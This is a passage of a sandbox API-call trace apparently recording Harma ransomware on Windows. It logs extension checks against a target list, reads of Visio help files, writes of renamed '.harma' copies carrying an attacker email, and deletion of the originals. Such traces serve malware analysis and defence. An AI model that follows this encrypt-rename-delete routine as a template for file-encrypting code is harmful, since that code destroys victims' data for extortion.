lpString2="L.HXC") returned -1 [0164.518] lstrlenW (lpString=".ppt") returned 4 [0164.518] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0164.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.518] lstrlenW (lpString=".zip") returned 4 [0164.518] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0164.518] lstrlenW (lpString=".rar") returned 4 [0164.518] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0164.518] lstrlenW (lpString=".bz2") returned 4 [0164.518] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0164.518] lstrlenW (lpString=".7z") returned 3 [0164.518] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0164.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.518] lstrlenW (lpString=".dbf") returned 4 [0164.518] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0164.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.519] lstrlenW (lpString=".1cd") returned 4 [0164.519] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0164.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.519] lstrlenW (lpString=".jpg") returned 4 [0164.519] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0164.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.519] lstrlenW (lpString=".doc") returned 4 [0164.519] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0164.519] lstrlenW (lpString=".docx") returned 5 [0164.519] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0164.519] lstrlenW (lpString=".pdf") returned 4 [0164.519] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0164.519] lstrlenW (lpString=".xls") returned 4 [0164.519] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0164.519] lstrlenW (lpString=".xlsx") returned 5 [0164.519] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0164.519] lstrlenW (lpString=".ppt") returned 4 [0164.519] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0164.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.519] lstrlenW (lpString=".zip") returned 4 [0164.519] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0164.519] lstrlenW (lpString=".rar") returned 4 [0164.519] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0164.519] lstrlenW (lpString=".bz2") returned 4 [0164.519] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0164.520] lstrlenW (lpString=".7z") returned 3 [0164.520] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0164.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.520] lstrlenW (lpString=".dbf") returned 4 [0164.520] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0164.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.520] lstrlenW (lpString=".1cd") returned 4 [0164.520] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0164.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC") returned 72 [0164.520] lstrlenW (lpString=".jpg") returned 4 [0164.520] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0164.520] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0164.520] lstrlenW (lpString="VISIO_PRM.HXS") returned 13 [0164.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.537] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=2287488) returned 1 [0164.537] CloseHandle (hObject=0x374) returned 1 [0164.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs")) returned 0x20 [0164.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0164.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.537] lstrlenW (lpString=".doc") returned 4 [0164.537] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0164.537] lstrlenW (lpString=".docx") returned 5 [0164.537] lstrcmpiW (lpString1=".docx", lpString2="M.HXS") returned -1 [0164.537] lstrlenW (lpString=".pdf") returned 4 [0164.537] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0164.537] lstrlenW (lpString=".xls") returned 4 [0164.537] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0164.538] lstrlenW (lpString=".xlsx") returned 5 [0164.538] lstrcmpiW (lpString1=".xlsx", lpString2="M.HXS") returned -1 [0164.538] lstrlenW (lpString=".ppt") returned 4 [0164.538] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0164.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.538] lstrlenW (lpString=".zip") returned 4 [0164.538] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0164.538] lstrlenW (lpString=".rar") returned 4 [0164.538] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0164.538] lstrlenW (lpString=".bz2") returned 4 [0164.538] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0164.538] lstrlenW (lpString=".7z") returned 3 [0164.538] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0164.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.538] lstrlenW (lpString=".dbf") returned 4 [0164.538] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0164.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.538] lstrlenW (lpString=".1cd") returned 4 [0164.538] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0164.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.538] lstrlenW (lpString=".jpg") returned 4 [0164.538] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0164.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.538] lstrlenW (lpString=".doc") returned 4 [0164.538] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0164.538] lstrlenW (lpString=".docx") returned 5 [0164.538] lstrcmpiW (lpString1=".docx", lpString2="M.HXS") returned -1 [0164.538] lstrlenW (lpString=".pdf") returned 4 [0164.538] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0164.539] lstrlenW (lpString=".xls") returned 4 [0164.539] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0164.539] lstrlenW (lpString=".xlsx") returned 5 [0164.539] lstrcmpiW (lpString1=".xlsx", lpString2="M.HXS") returned -1 [0164.539] lstrlenW (lpString=".ppt") returned 4 [0164.539] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0164.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.539] lstrlenW (lpString=".zip") returned 4 [0164.539] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0164.539] lstrlenW (lpString=".rar") returned 4 [0164.539] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0164.539] lstrlenW (lpString=".bz2") returned 4 [0164.539] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0164.539] lstrlenW (lpString=".7z") returned 3 [0164.539] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0164.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.539] lstrlenW (lpString=".dbf") returned 4 [0164.539] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0164.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.539] lstrlenW (lpString=".1cd") returned 4 [0164.539] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0164.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0164.539] lstrlenW (lpString=".jpg") returned 4 [0164.539] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0164.539] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0164.539] lstrlenW (lpString="VISIO_PRM_COL.HXC") returned 17 [0164.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.541] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=641) returned 1 [0164.541] CloseHandle (hObject=0x374) returned 1 [0164.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc")) returned 0x20 [0164.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.541] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.541] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.542] GetLastError () returned 0x0 [0164.542] ReadFile (in: hFile=0x374, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x281, lpOverlapped=0x0) returned 1 [0164.544] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x290, lpOverlapped=0x0) returned 1 [0164.545] ReadFile (in: hFile=0x374, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0164.545] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0164.545] SetEndOfFile (hFile=0x3ac) returned 1 [0164.545] CloseHandle (hObject=0x3ac) returned 1 [0164.546] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.546] SetEndOfFile (hFile=0x374) returned 1 [0164.548] CloseHandle (hObject=0x374) returned 1 [0164.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc")) returned 1 [0164.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.549] lstrlenW (lpString=".doc") returned 4 [0164.549] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0164.549] lstrlenW (lpString=".docx") returned 5 [0164.549] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0164.549] lstrlenW (lpString=".pdf") returned 4 [0164.550] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0164.550] lstrlenW (lpString=".xls") returned 4 [0164.550] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0164.550] lstrlenW (lpString=".xlsx") returned 5 [0164.550] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0164.550] lstrlenW (lpString=".ppt") returned 4 [0164.550] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0164.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.550] lstrlenW (lpString=".zip") returned 4 [0164.550] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0164.550] lstrlenW (lpString=".rar") returned 4 [0164.550] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0164.550] lstrlenW (lpString=".bz2") returned 4 [0164.550] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0164.550] lstrlenW (lpString=".7z") returned 3 [0164.550] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0164.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.550] lstrlenW (lpString=".dbf") returned 4 [0164.550] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0164.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.550] lstrlenW (lpString=".1cd") returned 4 [0164.550] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0164.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.550] lstrlenW (lpString=".jpg") returned 4 [0164.550] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0164.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.550] lstrlenW (lpString=".doc") returned 4 [0164.550] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0164.550] lstrlenW (lpString=".docx") returned 5 [0164.551] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0164.551] lstrlenW (lpString=".pdf") returned 4 [0164.551] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0164.551] lstrlenW (lpString=".xls") returned 4 [0164.551] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0164.551] lstrlenW (lpString=".xlsx") returned 5 [0164.551] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0164.551] lstrlenW (lpString=".ppt") returned 4 [0164.551] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0164.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.551] lstrlenW (lpString=".zip") returned 4 [0164.551] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0164.551] lstrlenW (lpString=".rar") returned 4 [0164.551] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0164.551] lstrlenW (lpString=".bz2") returned 4 [0164.551] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0164.551] lstrlenW (lpString=".7z") returned 3 [0164.551] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0164.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.551] lstrlenW (lpString=".dbf") returned 4 [0164.551] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0164.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.551] lstrlenW (lpString=".1cd") returned 4 [0164.551] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0164.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0164.551] lstrlenW (lpString=".jpg") returned 4 [0164.551] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0164.552] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0164.552] lstrlenW (lpString="VISIO_PRM_COL.HXT") returned 17 [0164.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.552] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=209) returned 1 [0164.552] CloseHandle (hObject=0x374) returned 1 [0164.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt")) returned 0x20 [0164.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.553] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.553] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.554] GetLastError () returned 0x0 [0164.554] ReadFile (in: hFile=0x374, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xd1, lpOverlapped=0x0) returned 1 [0164.555] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0164.556] ReadFile (in: hFile=0x374, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0164.556] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0164.556] SetEndOfFile (hFile=0x3ac) returned 1 [0164.556] CloseHandle (hObject=0x3ac) returned 1 [0164.556] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.556] SetEndOfFile (hFile=0x374) returned 1 [0164.658] CloseHandle (hObject=0x374) returned 1 [0164.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt")) returned 1 [0164.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.800] lstrlenW (lpString=".doc") returned 4 [0164.800] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0164.800] lstrlenW (lpString=".docx") returned 5 [0164.800] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0164.800] lstrlenW (lpString=".pdf") returned 4 [0164.800] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0164.800] lstrlenW (lpString=".xls") returned 4 [0164.800] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0164.800] lstrlenW (lpString=".xlsx") returned 5 [0164.800] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0164.800] lstrlenW (lpString=".ppt") returned 4 [0164.800] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0164.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.800] lstrlenW (lpString=".zip") returned 4 [0164.800] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0164.800] lstrlenW (lpString=".rar") returned 4 [0164.800] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0164.800] lstrlenW (lpString=".bz2") returned 4 [0164.800] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0164.800] lstrlenW (lpString=".7z") returned 3 [0164.800] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0164.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.800] lstrlenW (lpString=".dbf") returned 4 [0164.800] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0164.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.800] lstrlenW (lpString=".1cd") returned 4 [0164.800] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0164.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.801] lstrlenW (lpString=".jpg") returned 4 [0164.801] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0164.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.801] lstrlenW (lpString=".doc") returned 4 [0164.801] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0164.801] lstrlenW (lpString=".docx") returned 5 [0164.801] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0164.801] lstrlenW (lpString=".pdf") returned 4 [0164.801] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0164.801] lstrlenW (lpString=".xls") returned 4 [0164.801] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0164.801] lstrlenW (lpString=".xlsx") returned 5 [0164.801] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0164.801] lstrlenW (lpString=".ppt") returned 4 [0164.801] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0164.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.801] lstrlenW (lpString=".zip") returned 4 [0164.801] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0164.801] lstrlenW (lpString=".rar") returned 4 [0164.801] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0164.802] lstrlenW (lpString=".bz2") returned 4 [0164.802] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0164.802] lstrlenW (lpString=".7z") returned 3 [0164.802] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0164.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.802] lstrlenW (lpString=".dbf") returned 4 [0164.802] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0164.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0164.802] lstrlenW (lpString=".1cd") returned 4 [0164.802] 